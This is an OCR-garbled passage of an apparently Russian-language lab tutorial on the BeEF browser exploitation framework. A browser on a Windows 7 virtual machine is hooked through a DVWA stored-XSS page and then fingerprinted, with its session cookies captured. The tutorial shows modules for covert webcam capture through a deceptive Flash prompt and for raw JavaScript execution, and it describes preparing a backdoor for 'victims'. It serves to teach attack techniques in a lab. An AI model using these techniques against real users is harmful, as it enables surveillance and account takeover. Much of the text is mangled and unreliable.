browser.capabilities . vic
browser.capabiliies webgl
browser.capabiliies webric
browser.capabilities websocket
browser.capabilities webworker
browser.capabilities. wmp
browser. date datestamp
browser.engine
browser.language
browser.name

browser.name: friendly

browser.name.reported

browser.platform
browser.version

browser.window.cookies

browser.window.hostname
browser.window. hostport
b ar window nrinin

Page 1of2z I

Logs

Logs | Commands | Prowy | XasRays | Network

7]

Zombies

]

i BeEF 04.7.1-apha | Submit Bug | Logout

Current Browser

B
]
>

Sun Jun 2 12:59:50 UTC+3400 2019
Trident

ru

IE

Internet Explorer

Mozila/4.0 (compatible; MSIE 8.0; Windows NT 6.1, WOWS4; Trident/4.0; SLCCZ; \NET CLR 2.0.50727; \NET CLR
3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0)

Win32
8

i ; PHPSESSID=e912ebbd1 5f6el7d0214;
BEEFHOOK=1L8IFgDOVKoV1IYPeudggsz OVCEDdswT D2IRIZAMXwil gevuxiCy Tey Cv XHAads TRIOxKsNI4bEVE
10027
80
1 Inknosn hd

Displaying zombie browser details 1 - 50 of 50

Kak Bnanm, mbl MOXKem y3HaTb MHOTO MHPOpPMALLIMKM, UCXOAA U3 3TOrO NonA.
[aBaliTe npoiagemca no nopaaky, n bpaysep onpeaenserca Kak Mozilla, n
ncnonbsyet MSIE 8.0:
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Hooked Browsers
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4 £5 Offine Browsers
45910027
@53 ? 0025
& ME 710024

Basic Requester

Getting Started x| Logs

Details Logs Commands Proxy

Key =
browser capabiliies phonegap
browser.capabilities. quicktime
browser.capabiities realplayer
browser.capabilities. siverlight
browser.capabilities. vbscript
browser.capabilities. vic
browser.capabiiities webgl
browser capabilities webrtc
browser.capabiliies websocket
browser.capabilies webworker
browser.capabilities. wmp
browser.date. datestamp
browser.engine

browser language:
browsername

browser.name. friendly

browser.name reported

browser.platform
browserversion

browser window: cookies

browser window hostname
browser.window hostport
browser.window.origin
browser.window:referrer

browser.window.size.height

I4 Page 1lofz| b Bl | &

A3bIk Bpay3epa pycCcKui, n oH

XssRays

Zombies

Network

Current Browser

Value

No

No

Ne

Ne

Yes

Ne

No

No

No

Ne
Yes
Sun Jun 2 12:5%:50 UTC+0400 2019
Trident
ru

IE

Internet Explorer

Mozilla/4.0 (compatible; MSIE 8.0; Windows MT 6.1, WOWG4; Trident/4.0; SLCC2Z; .NET CLR 2.0.50727; NET CLR
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ncnonbsyet Win32:
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0

BeEF Control Panel X ‘ +

f(—f_ - C @ ® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1IY0eu0gqSzOiVEC 8 (S 5| | @ Search In @ =
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# BeEr 0.47.1-aipha | Submil Bug | Logout

Hooked Browsers
(] Oniine Browsers
4 23 Offline Browsers
4910027
@ 8 @ 70025

& WM 7 woza

Basic Requester

Getting Started %/ Logs

Details Logs Commands Proxy

Key =
browser.capabilities phonegap
browser.capabilities.quicktime:
browser.capabilities realplayer
browser.capabilities.siverlight
browser capabiliies vbscript
browser capabilities vic
browser.capabilities . webgl
browser.capabilities webrtc
browser.capabilities websocket
browser.capabilities webworker
browser capabilities wmp
browser.date. datestamp
browser.engine

browser language

browser name

browser name friendly

browser.name.reported

browser. platform
browser version

browser window.cookies

browserwindow: hostname
browser.window. hostport
browser.window.origin
browser window: referrer

browser window size height

4 Page L2 b M &

XssRays

Zombies

Network

Current Browser

Value

No

Ne

No

No
Yes

No

Ne

No

No

No
Yes
Sun Jun 2 12:5%:50 UTC+)400 2019
Trident

IE

Internet Explorer

Mozilard.0 (compatible, MSIE 8.0; Windows NT 6.1, WOWE4, Trident!4.0; SLCCZ; NET CLR 2.0.50727, .MET CLR
3.5.30729; NET CLR 3.0.3072%; Media Center PC 6.0)
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2! napameTpbl HyXXHbl, 414 nocneayrowero cosgaHmA 6:->K,u,opa, B paMKax

nonyyeHnA goctyna K mallnHe.

Mbl TaKXKe MOXKeM yBUAETb KOMMOHEHTbI, KOTOpble eCTb B 6pay3epe:

BeEF Control Panel - Mozilla Firefox [— IO ]
BeEF Control Panel Damn Vulnerable Web 2 X | +
<« c @ @ 127.0.0.1:3000/uifpanel#id=1L8IFgDOVkoV1lY0eu0gqSzOiVCEfO B | - @ || Q search In @ =
£+ Most Visited [l Offensive Security " KaliLinux S KaliDocs "% KaliTools = Exploit-DB W Aircrack-ng g Kali Forums “ MetHunter % Kali Training »
# BeEF 0.471-aipha | Submit Bug | Logout
Hooked Browsers Getting Started Logs Current Browser
(2] Oniine Browsers
Details Logs Commands

4 7 Offine Browsers
45910027
@ 0@ 710025
& ® ¥ 710024

Basic Requester

Key «

Malue

browser.capabilties .activex
browser capabilities flash
browser.capabilities.googlegears
browser.capabilties. phonegap
browser capabiliies quicktime
browser.capabilities. realplayer
browser.capabilties silverlight
browser.capabilities wbscript
browser.capabilities . vic
browser.capabilities webgl
browser.capabilities webrtc
browser.capabilities websocket
browser.capabilities . webworker

browser.capabilties wmp

Yes

browser date datestamp
browser.engine
browser language
browser name
browser.name:. friendly

browser.name. reported

browser platform
browser.version

browser.window: cookies

browiserwindow: hostname
browser.window. hostport

hrowser window: nrinin

page 1of2| b bl | &

Sun Jun 2 12:58:50 UTC+0400 2019
Trident

u

IE

Internet Explorer

Mozilla/4.0 (compatible; MSIE B.0; Windows NT 6.1, WOW&4; Trident’d.0; SLCCZ2; NET CLR 2.0.50727, NET CLR
3.5.30729; NET CLR 3.0.30729; Media Center PC 6.0)

Win32
B

security=low; PHPSESSID=£912ebb9184a6adéb3as756e17d0214;
BEEFHOOK=1L8IFqDOVkoW1¥0eulgqSzONVCBiDdswT D2IR32ANXwilmovuxiCy Tey Cv XHAads TPHOx KsNI4bEVE
10027
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v

Linknown

Displaying zombie browser details 1 - 30 of 50

Ocob60 3HauMMmble Ana Hac, 3TO TO, YTo HBpay3ep He ucnonbayert flash, HO
ncnonbayet vbscript. AHaNN3 3TUX KOMNOHEHTOB MOXKET ObITb MNO/1IE€3HbIM, KOraa
Bbl NbiTaeTecb NOMYYMUTb NOAHbBIN AOCTYN K STOMY KOMMbIOTEPY.

Moxem nepenTy Ha BTOPYIO CTPAHMLY 3TOFO OKHa, u yBmnaeTtb URL-agpec
CTPaHULbI, Yepe3 KOTOPY Mbl MOMMANM NoAb30BaTENA:



BeEF Control Panel - Mozilla Firefox

(- IO

BeEF Control Panel X Damn Vulnerable Web /1 X | +
(€ ) c @ ® 127.0.0.1:3000/ui/panel#id=1L8IFgDOVkoV1IY0eu0gqSzOiVCBfO B |- @ ¥ Q Search N @ =
£+ Most Visited Jf| Offensive Security %, Kali Linux "% KaliDocs ", KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums & MetHunter ‘%, Kali Training »
# peer 04 7.1-apha | Submit Bug | Logout
Hooked Browsers Getting Started Logs Zombies Current Browser
(27 Online Browsers
4 59 Offine Browsers Details | Logs || Commands || Proxy || XssRays | Network
45910027 Key « \ale
@ 0@ 710025 browser.window,uri hitp://10.0.2. Tidwwalvulnerabilities/xss_s/ I
& W E 710024 hardware battery level unknown
hardware.cpu.arch x86_64
hardware cpu.cores unknown
hardware. gpu unknown
hardware. gpu vendor unknown
hardware memory unknown
hardware. screen.colordepth 32
hardware.screen.size.height 600
hardware screen.size.width 800
hardware screen touchenabled No
hardware type Unknown
host.ipaddress 10.0.24
host.os.arch 64
host.os family Windows Server 2008 R2/7
hest.os.name Windows
host.os version 7
host.software.defaultbrowser Unknown
location.city Unknown
location.country Unknown
Basic | Reguester H 4 Page| 2lof2 bk | & Displaying zombie browser details 31 - 50 of 50

Ob6paTnTe BHMMAHME TaK}Ke Ha Apyrve napameTpsbl, KOoTopble 6onee nogpobHo
ONUCbIBAOT KOMMNOHEHTbI Bpay3epa, Takue Kak ip-uenun, cemennctso Windows,

BEepCUS:
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BeEF Control Panel x Damn Vulnerable Web A X | +
&« (G} ® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY0eu0gqSzC B - @ Search In @O =
£+ Most Visited Jf| Offensive Security " KaliLinux %, KaliDocs % KaliTools & Exploit-DB Wy Aircrack-ng gl Kali Forums S, NetHunter " Kali Training »

‘ BeEF 04.7.1-apha | Submit Bug | Logout

Hooked Browsers

Getting Started Logs Zombies Current Browser
[ Oniine Browsers
4 =5 Offiine Browsers Details | Logs Commands Proxy XssRays Network
45910027 Key ~ \ale

@ ‘\ d 7 10025 browser.window.uri hitp://10.0.2. 7/dvwaivuinerabilities xss_s/

& ®E 710024 hardware battery level unknown
hardware.cpu.arch xB6_64
hardware.cpu.cores unknown
hardware.gpu unknown
hardware gpu.vendor unknown
hardware. memory unknown
hardware screen.colordepth 32
hardware.screen.size.height 600
hardware screen.size.width 800
hardware screen.touchenabled No
hardware.type Unknown
host.ipaddress 10.0.24
host.os.arch 64
host.os.family Windows Server 2008 R2/7
host.os.name Windows
host.os.version 7
host.software defaultbrowser Unknown
location.city Unknown
location.country Unknown

Basic Requester [4 4  Page| 2lot2|iF! el Displaying zombie browser details 31 - 50 of 50

ObpaTtnTe BHMMAHME HA TO, YTO NAPaMETPbl APXUTEKTYPbI ONpeaeNAnCh
HEKOPPEKTHO, TaK KaK B Hayane BbiBOAA Mbl BUAEM NAapaMETP
«browser.platform» kak Win32, n ganee napametp «host.os.arch», c napametpom
64. Bce 4OCTaTOYHO NPOCTO, TaK KaK CBepXy OTobparkaeTca apXMTEKTypa
6pay3epa, U oH 32-x BUTHbIN, a cam KOMMbtoTep 64-X BUTHbBIN.

3Ta MHPOpPMALMA MOMONKET Ham, NP CO3L4aHMM NepcoHanbHOro 6akaopa, AN
3TOro KoMnbloTepa.

C napameTpamu 3aBepLINAN, U eLle pPa3 NPONAMUTECH NO BCEM 3HAYEHUAM, YTOObI
BM3ya/IbHO 3aMNOMHMUTb UX.

MNepenaem Ha BKNaaky «Logs», n yBuamum Bce npounsoluegime cobbitua:



BeEF Control Panel
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BeEF Control Panel - Mozilla Firefox

Damn Vulnerable Web & X | +

e e

(@ 127.0.0.1:3000/ui/paneli#id=1L8IFqDOVkoV1lY0eu0gqSzOiVC 8fO

5]

= @ 17| | Q Search

N @

£+ Most Visited [JJ] Offensive Security % KaliLinux ", KaliDocs "% KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums " MetHunter % Kali Training

Hooked Browsers
(2] Online Browsers
4 (] Offline Browsers
45910027
@5 @ 710025

& ®E 710024

Basic Reguester

G.

D

Id...

38
a7
36
85
84
83
82
81
30
7%
78
d
76
75
74
73
72
71
70
89
88
&7
86
3
84
83

etting Started

etails

Type
Zombie
Event
Event
Event
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie
Zombie

Zombie

Zombie

Logs Zombies

Commands || Proxy || XssRays || Metwork

Ewvent

|P address has changed from to 10.0.2.4

4348.969s - [Mouse Click] x: 71y:568 > a

4347 281s - [Blur] Browser window has lost focus.
4347 .281s - [Focus] Browser window has regained focus

1/0f3

|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
IP address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
IP address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
IP address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
|P address has changed from to 10.0.2.4
|P address has changed from 10.0.2.4 to
IP address has changed from to 10.0.2.4
IP address has changed from 10.0.2.4 to

bW &

# BeEF 047.1-apha | Submit Bug | Logout

Current Browser

Date

2019-06-02T06:13:.01...
2019-06-02T06:12:54. .
2019-08-02T06:12:54 .
2019-06-02T06:12:54...
2019-06-02T06:12:54....
2019-06-02T06:12:49...
2019-06-02T06:12:49...
2019-06-02T06:06:09...
2019-06-02T06:06:09...
2019-06-02T06:05:34....
2019-06-02T06:05:34...
2019-06-02T06:05:23...
2019-06-02T06:05:23...
2019-06-02T06:04:49_ .
2019-06-02T06:04:48 .
2019-06-02T06:04:34....
2019-06-02T06:04:34....
2019-06-02T06:03:55....
2019-06-02T06:03:54...
2019-06-02T06:03:41...
2019-08-02T06:03:41 .
2019-06-02T06:03:41...
2019-06-02T06:03:39...
2019-06-02T06:00:30...
2019-06-02T06:00:30....
2019-06-02T06:00:30...
2019-06-02T06:00:30....
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Displaying logs 1 - 30 of 68

B uenom TyT HEe MHOro 3Ha‘-IEHMi;I, a MMEHHO 0T06pa>KaeTcn MOMEHT NONMKHU

6pay3epa, pokyc, Kank mbiwn (Mouse Click).

Naem ganee, u Ha oyepeam BKNagKa ¢ KomaHaamm («Commands»). B Helt mbl
6yaem nNpoBOAUTb MHOTO BPEMEHM.
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Hooked Browsers
(=] Oniine Browsers

4 5 Offine Browsers Details Logs Proxy XssRays Network

457910027
@ 0@ 710025
& ME 7 10024

Cetting Started Logs Zombies Current Browser

Module Tree Module Results History

Search id ~ | date label

> (7] Browser (56)

+ (] Chrome Extensions (6)
» (] Debug (8)

> (7] Exploits (108)

» (°]Host (24)

> CIPEC (3)

> 7] Metasploit (1)

> (T Misc (18)

> ] Network (21)

> (7] Persistence (9)

» (L] Phonegap (16)

+ (771 Social Engineering (24)

Basic | Requester (@ Ready

Bce atun crpynnnupoBaHHbleE KOMaHAbl MOXHO 3aMyCKAaTb Ha LLENEBOM KOMIMbHOTEPE.

BknagKa «XssRais» N03BOIUT 06HAPYKUTb YA3BMMOCTb XSS Ha TeKyLLEN CTpaHuLe:
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BeEF Control Panel X | Damn Vulnerable Web £ X ‘ +
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£+ Most Visited [JJl] Offensive Security "% KaliLinux "% KaliDocs ‘S KaliTools % Exploit-DB Wy Aircrack-ng g Kali Forums ‘& NetHunter %, Kali Training »
¥ BeEF 047.1apha | Submit Bug | Loaout
Hooked Browsers [ Getting Started HH Logs ” Zombies H Current Browser ]
(=] Oniine Browsers
4 =7 Offine Browsers Details 1 Logs [ Commands ” Proxy I )\'.ssliaysm Network I
4510027 Logs ” Scan Config 1
@0 @ 710025 et e N S
. Method lame
& M 710024
No History
4 4 |Page| 1fof1| b bl | & No history to display
Basic | Requester @ Ready

B «Network» Bbl MOXKeTe NPOCMOTPETb TEKYLLME CETU:
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BeEF Control Panel X Damn Vulnerable Web /. x| +
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£+ Most Visited [l Offensive Security " Kali Linux ', Kali Docs “ KaliTools # Exploit-DB W Aircrack-ng gl Kali Forums ' NetHunter % Kali Training »

‘ BeEF 04.7.1l-alpha | Submit Bug | Logout

Hooked Browsers
[Z] Oniine Browsers
4 (] Offiine Browsers
4{510027 Map Hosts
@5 & 7 wo02s
& BME 7 0024

Getting Started Logs Zombies Current Browser

Details Lo

=

127.0.0.1 [localhost] Hooked Browser
Windows 127.0.0.0

Basic Requester & Ready

NcxopAa ns cxembl Mbl BUAUMM Hall NPUBA3aHHbIN Bpay3ep, KOTOPbI MCNONb3YyeTCA
Ha Windows-malwuHe. bpay3ep npmBa3aH K Ham, u cBsizaH ¢ BeEF.
Ecnn 6bl1 y Hac 6bI10 HECKONBKO YCTPOMCTB, TO Mbl bl YyBUAEAM NX B 3TOM NONE.

3To Ha camoMm Aene NOBEePXHOCTHbI 0630p BeEF, 4Tobbl Bbl NOHAAN CTPYKTYpPY
3TOro ppermmBopKa.

Mbi 6yaem paboTaTth eLle C KOMaHAaMU, a TaKKe Noay4YaTb MNOAHbIA AOCTYN K
3aXBaY€HHbIM KOMMNbIOTEPAM.

BbinT n3 BeEF, MoXHO c nomoLbto KHOMKK «Logout».
12.0 BeEF Framework. 3anyckaem npoctblie KOMaHAbl HA MALLMHAX XKepTB.
Mocne 3axBaTa Lenn, NpoaoIKUmM paboTy ¢ HawKnmK KepTBamu. B moem cnyyae

310 6yaeT npumep c 6payszepom Ha Windows 7 Home. Ham HyXHO nepenTu Ha
BKNaaKy «Commands», U, HenocpeACcTBEHHO UCMOAb30BaTb KOMaHAbl:
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BeEF Control Panel x |+
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£+ Most Visited [l Offensive Security ' Kali Linux & KaliDocs ' Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums &, NetHunter ‘& Kali Training »

‘% BeEF 0.47.1-apha | Submit Bug | Logout

Hooked Browsers
4 {5 Online Browsers

00
& ME 7 w024
T

Getting Started Logs Zombies Current Browser

Details Logs Proxy XssRays Network

Module Tree Module Results History

iy Search id - | dat label
45910027 search e

@ 3@ ? w025 (L) Browser (56)
- (-] Chrome Extensions (6)

» (] Debug (8)
+ [ Exploits (109)
(CJHost (24)
» C]IPEC (9)
» ] Metasploit (1)
[ Misc (18)
(2] Metwork (21)
» [ Persistence (9)
» 7] Phonegap (16)
(=7 Social Engineering (24)

Basic || Requester () Ready

[ns 6bICTPOro NONCKA KaKOM-TMHO KOMAHAbI, MOXXHO BOCMO/1b30BaTbCA
dunbTpaymen. Bbl TaKKe MOXKeTe MCMNO/Ib30BaTb KAaTETOPUM, U YXKE UCKATb UX B
oTAeNbHbIX AnpeKkTopuax. Nx gocTtaTouHOe KONMYecTBo, 1 Bbl yXKe onpeaensintech
co cneumPpmKom Toro, 4To Bam HyKHO:



BeEF Control Panel - Mozilla Firefox (- C)

BeEF Control Panel x |+

&« ¢ ® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY0eu0gqSzOiVCEfO B | = @ ¥ Q Search In @
£} Most Visited [l Offensive Security '\ KaliLinux “§ KaliDocs " Kali Tools # Exploit-DB Wy Aircrack-ng gl Kali Forums & NetHunter S Kali Training

9 BeEF 0.47.l-alpha | Submit Bug | Logout

Hooked Browsers Getting Started Logs Zombies Current Browser
4 =5 Online Browsers
0910027 Details || Logs || Commands || Proxy || XssRays | Network
& ¥ 710024 Module Tree Module Results History
4 () Offiine Browsers . .
40910027 Search id + | date label
@ 0@ ? 10025 > (D Browser (56)
» (-] Chrome Extensions (B}
> [C7] Debug (8)
- [ Exploits (109)
- [JHost (24)
. C1IPEC (9)
> [ Metasploit (1)
> [ Misc (18)
» [ Network (21)
: [ Persistence (3)
» [ Phonegap (18)
- [ Social Engineering (24)
Basic Requester () Ready

[anee a noKaxky Bam HeKOTopble camble BaXKHble KOMaHApbl, HO TaK¥Ke 3aTPOHY U
npoctble. K npumepy, ecnn Bl oTKpoeTe KaTeropumto «Browser», To MoXKeTe
BMAETb KOMaHAbl, KOTOPblE MOX¥HO MUCMO/Ib30BaTb BHYTPW bpay3epa:
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BeEF Control Panel x |+

(€)= @ @& ® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY0eu0gqSzOiVC8fOx B - @ % Q Search In @
£+ Most Visited ] Offensive Security "% KaliLinux ", KaliDocs ‘% KaliTools @ Exploit-DB Wy Aircrack-ng g Kali Forums ‘S NetHunter %, Kali Training

ﬁ BeEF 0.4.7.1-alpha | Submit Bug | Logout

Hooked Browsers Getting Started Logs Zombies Current Browser
459 Online Browsers
45910027 Details Logs Commands Proxy XssRays Network
& M= ? 10024 Module Tree Module Results History
4 () Offiine Browsers - , i dal abel
45310027 | ==
B 4B 56) il
@5 @ ?woss 53 Browse (56)

> [_7] Hooked Domain (26)
Detect Foxit Reader
Detect MS Office
Detect QuickTime:
Detect RealPlayer
Detect Siverlight
Detect Simple Adblock
Detect Toolbars
Detect Unity Web Player
Detect VLC
Detect Windows Media P)
Fingerprint Browser
Fingerprint Browser (|
Get Visted Domains
Remaove Hook Element
Unhook
Webcam
‘Webcam Permission C
‘Get Visited URLs (Avant
Spyder Eye
Webcam HTMLS

& Detect ActiveX
& Detect Popup Blocker
& Detect Unsafe ActiveX

@ Detect Evernote Web Clif
@ Detect Extensions
@ Detect FireBug
@ Detect LastPass w
O
Basic | Requester B

Hanpumep, 04AWH U3 HarNAAHbIX NPMMEepPOoB: Bbl MoXKeTe OTKPbITb BE6-Kamepy
LLeNu, C NoOMoLLbIo KomaHapbl «Webcam»:
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BeEF Control Panel X | +
(€)= C @ @® 127.0.0.1:3000/ui/panel#id=1L8IFgDOVkoV1lY0eu0gqSzOiVCEfO B | - @ || Q Search I @ =
£+ Most Visited [ Offensive Security S Kali Linux "% KaliDocs S KaliTools = Exploit-DB W Aircrack-ng gl Kali Forums ‘e, NetHunter ‘& Kali Training »

# BeCF 047.1.apha | Submt Bug | Logout

Hooked Browsers

4 (5 Online Browsers
45510027 Details Logs Commands Proxy XssRays Network

Getling Started Logs Zombies Current Browser

& B = 710024 Module Tree Module Results History Webcam

4 (5 Offine Browsers .
45910027 Search id .~ date label Deseription:  This module will show the Adobe Flash "Allow Webcam' dialog to the user, The user has to
. 45 Browser (56) click the allow button, otherwise this module will not return pictures.
" Q ﬁ % 10025 . The title/text to convince the user can be customised. You can customise how many
> [ Hooked Domain (26) . pictures you want to take and in which interval (default will take 20 pictures, 1 picture per
Detect Foxit Reader second). The picture is sent as a baseB4 encoded JPG string.

Detect MS Office
Detect QuickTime
Detect RealPlayer Social
Detect Silverlight E_nq\rveenrvg
Detect Simple Adblock Titl:
Detect Toolbars Social In order to work with the programming ~
Detect Unity Web Player Engineering framework this website is using, you need to
Betect VLG Text allow the Adobe Flash Player Setings. If you

ec use the new Ajax and HTMLS features in v
Detect Windows Media P|

. Number of 20
Fingerprint Browser pictures:
Fingerprint Browser
s ( Interval to take | 1000

Get Visited Domains pictures (ms):
Remove Hook Element

Id: 101

This website is using Adobe Flash

Webcam Permission Cl
Get Visited URLs (Avant
Spyder Eye
Webcam HTMLS
& Detect ActiveX.
& Detect Popup Blocker
@ Detect Unsafe ActiveX
@ Detect Evernote Web Clif
@ Detect Extensions
@ Detect FireBug
@ Detect LastPass ~ | Execute |

Basic || Requester © Ready

Mpoao KM paccMmaTpuBaTb ANPEKTOPUN, U HE MeHee BaXKHana — 3To «Exploits»,
B KOTOPOM HaXxoAATCA camble pa3HOObpa3Hble Pa3sHOBUAHOCTU SKCM/IOMTOB:
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(€) c @ @ 127.0.0.1:3000/uifpanel#id=1L8IFGDOVkoV1lY0euOggSzOiVC 8f0 B |~ @ %% Q Search I @ =
£+ Most Visited [JJl] Offensive Security "%, KaliLinux % Kali Docs "% Kali Tools # Exploit-DB W Aircrack-ng g Kali Forums ‘& NetHunter “& Kali Training »
¥ BeEF 047.1-apha | Submit Bug | Logout
flece e Getting Started Logs Zombies Current Browser
4 =5 Online Browsers
40910027 Details || Logs || Commands || Proxy | XssRays || Network
& M= 710024 Module Tree Module Results History Webcam
477 Offine Browsers -
45910027 Search i+ date label Descripion:  This module will show the Adobe Flash ‘Allow Webcam' dialog to the user. The user has to
R + ] Browser (56) ~ click the allow button, otherwise this module will not return pictures.
“ Q iﬂ 7 10025 Tl command The title/text to convince the user can be customised. You can customise how many
> (2] Chrome Extensions (6) pictures you want to take and in which interval (defautt will take 20 pictures, 1 picture per
S| Debug (8) second). The picture is sent as a base64 encoded JPG string.
4 =5 Expioits (109
59 Explots (100) Id: 101

+ [ BeEF_bind (3)

> (D Camera (3) Social This website is using Adobe Flash
> [ Local Host (T) Engineering
» CINAS (2) Title:
» [ Router (47) Social In order to work with the programming ~
> (20 Switch (4) Engineering framework this website is using, you need to
%SS4 Text: allow the Adobe Flash Player Settings. If you
’ @ use the new Alax and HTMLS features in ~
H ZeroShell (8)
g ;ﬂ; 2[ ) Number of 20
4 pfSense (2) pictures:

Apache Cookie Disclosul
Apache Felix Remote S
ColdFusion Directory Tr:

Interval to take | 1000
pictures (ms):

Farsite X25 gateway rem
HP uCMDB 9.0x add use
Jboss 6.0.0M1 JMX Depl
Jenkins Code Exec CSR
Kemp LoadBalancer Com
NtfsCommonCreate DoS
RFI Scanner
Resource Exhaustion Do
Shell Shock
Shell Shock Scanner (Re
Skype iPhone XSS Steal
VTiger CRM Upload Expl
WAN Emulator Commanc
< >

Basic || Requester ©) Ready

Execute

TakKe peKoMeHAayo NPOCMOTPETb OCTaBLUMECA AUPEKTOPUMN, U OKUHYTb B3IIAL0M
coaepKMmoe B HUX. OHU MHTYUTUBHO MOHATHbI.

TaK KaK mbl 06bI4HO Mcnonb3oBanu GpyHKumio «alert()», ans BbiBOAA
BCM/IbIBAIOLLErO OKHA, TO €€ MOXKHO HalTK B MoUcKe GUNbTPaLmu:
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BeEF Control Panel x |+
& c @ @ 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1IY0eu0gqSzOiVCEFO B | @ || Q search I o =
£+ Most Visited [ Offensive Security “\, KaliLinux & KaliDocs "\ KaliTools = Exploit-DB Wy Aircrack-ng gl Kali Forums "\, NetHunter " Kali Training »
& BeEF 047.1apha | Submit Bug | Logout
Hooked Browsers Getting Started Zombies Current Browser
47 Online Browsers
45910027 Details Logs Commands Proxy XssRays Network
& W 910024 Module Tree Module Results History Create Alert Dialog
4 7 Offline Browsers
45310027 s | daie label Description:  Sends an alert dialog to the hooked browser,
@5 & 7 w025 43 Browser (1) ks from executed comim
- 4 = Hooked Domain (1) I e listed Id 60
& Create Alert Dialog Alert text: BeEF Alert Dialog
4 3 Phonegap (1)
Alert User
Execute
Basic Reguester ©) Ready

Ob6paTnTe BHUMAHWNE, YTO B CAMOM KpaliHEM NpPaBoOM MNoJie Mbl BUANUM OKHO
onoseleHns. MOXKHO BBECTM KaKON-TMB0 TEKCT, KaKon xoTute. A, ana npumepa,

BBeAy cnoBo «Timcore»:
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BeEF Control Panel x |+
-:(-—'f - C @ @ 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY Deu0gqSzOiVC 8O E |+ @ 77| | Q search i @ =
&MustVisited il Offensive Security " KaliLinux " KaliDocs "% KaliTools & Exploit-DB Wy Aircrack-ng gl Kali Forums " NetHunter “\ Kali Training »

Hooked Browsers

Getting Started Logs
4 =5 Online Browsers
40910027 Detais || Logs || Commands
& A= ? 10024 Moduie Tres
4 5 Offline Browsers
alert
45910027
- B 1)
@ ) @ ? w025 Serowser (1)
4 =5 Hooked Domain (1)
@ Create Alert Dialog
4 5 Phonegap (1)
Alert User
Basic Requester @ Ready

Proxy

Zombies

XssRays || Metwork

Module Results History

id -
0

date
2019-06-05 05:32

label

command 1

% BeEF 0.47.1.aipha | Submit Bug | Logout

Current Browser

Create Alert Dialog

Description: Sends an alert dialog to the hooked browser.

Id: 60

Alert text: Timgore

Monyyaem Ha mawnHe Windows 7 Home BOT TaKoW BbIBOA, BCMJ/1bIBAOLWErO OKHa:




Windows 7 Home (o 3anycka Bupyca. 27.0

Pain MawwHa Bwug Beop YcTpoWcTea CnpabBKa

@ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (X55) - Windows Internet Explorer | = || =] I;! 2 |
@ - |§, http://10.0.2.7/dvwa/vulnerabilities/xss_s/ v| B | +3 | X | | ;f Bing Fe -
f\? Mz6panHoe {.5 £ | Pexomengyemsie yanel v @ | Konnekuwn seb-dparm... v

& Damn Vulnerable Web App (DVWA) v1.0.7 == Vuln... fi ~ B) - =) ®h v Crpanwua > Eesonacvocts > Cepeuc~ @~

v{EsewssammeRSld Cross Site Scriptin.

Instructions | ] ] |
l b Timcore
Setup | -

Home |

Brute Force

Command Execution
CSRF

File Inclusion

SQL Injection

5QL Injection (Blind)

:
— b

Mame: test
Message: This is a test comment.

Upload Mame: alert("Stored XS5") >

1| n | 3

loToBo & Wrreprer | 3awmiuerneii peskum: Bi, dy v HI100% v

B oo C § el

&P & = i §3 @ [ Npasbiii Ctrl

Xopowaa n HarnagHaA onumaA, KOTopaa 4eMOHCTPMpPyeT BO3SMOXHOCTU BeEF
Framework.

He OTKNIOHAACL OT TeMbl, PaCCMOTPUM eLLe OAMH NapameTp, a UMeHHOo «Raw
JavaScript»:



BeEF Control Panel

<« C @

x

BeEF Control Panel - Mozilla Firefox Q6 6
+
® 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1lY0euOgqSzOiVC8f0 B | - @ | Q Search i @ =
£+ Most Visited [JJl] Offensive Security S KaliLinux & KaliDocs ‘% Kali Tools = Exploit-DB W Aircrack-ng g Kali Forums S, NetHunter & Kali Training »

Hooked Browsers
(1 Online Browsers
4 5] Offline Browsers
45910027
@ D@ 7 wozs
& ME 710024

Basic || Reguester

Cetting Started Logs

Details Logs Commands

Zombies

Proxy XssRays Network

Module Tree

Taw javascript

425 Misc (1)
 Raw JavaScript

Module Results History

id ~ | date label

© Ready

# BeEF 047.1-apha | Submit Bug | Logout

Current Browser

Raw JavaScript

Description:

Id:

This module will send the code entered in the "JavaScript Code” section to the selected
hooked browsers where it will be executed. Code is run inside an anonymous function and
the return value is passed to the framework. Muttiine scripts are allowed, no special
encoding is required

127

Javascript
Code:

alert(BeEF Raw Javascript);
return ‘Iltworked!;

Execute

TyT BCe TONbKO OorpaHmnyeHo Bawen paHTasmen. A umeto BBUAY, HaNnUCaHMe Koga
Ha A3blKe NporpammmnpoBaHma JavaScript. OctaBum nosne ¢ Kogom no gedonTy, u
*¥MeM KHOMKy «Execute»:



Hooked Browsers
() Online Browsers
4 5 Offiine Browsers
45910027
@ 3 @ ? wozs
6 WE 7 w024

Basic Requester

BeEF Control Panel - Mozilla Firefox e e@e

Getling Started | Logs

Details Logs Commands

Zombies

Proxy XssRays Network

Module Tree

Taw javascript

4 25 Misc (1)
& Raw JavaScript

Module Results History

id « | date label

@ Ready

BeEF Control Panel X |+
(¢)=> & @ @ 127.0.0.1:3000/ui/panel#id=1L8IFqDOVkoV1IY0eu0gqSzOiVC 8¢ & | - % | | Q Search m o =
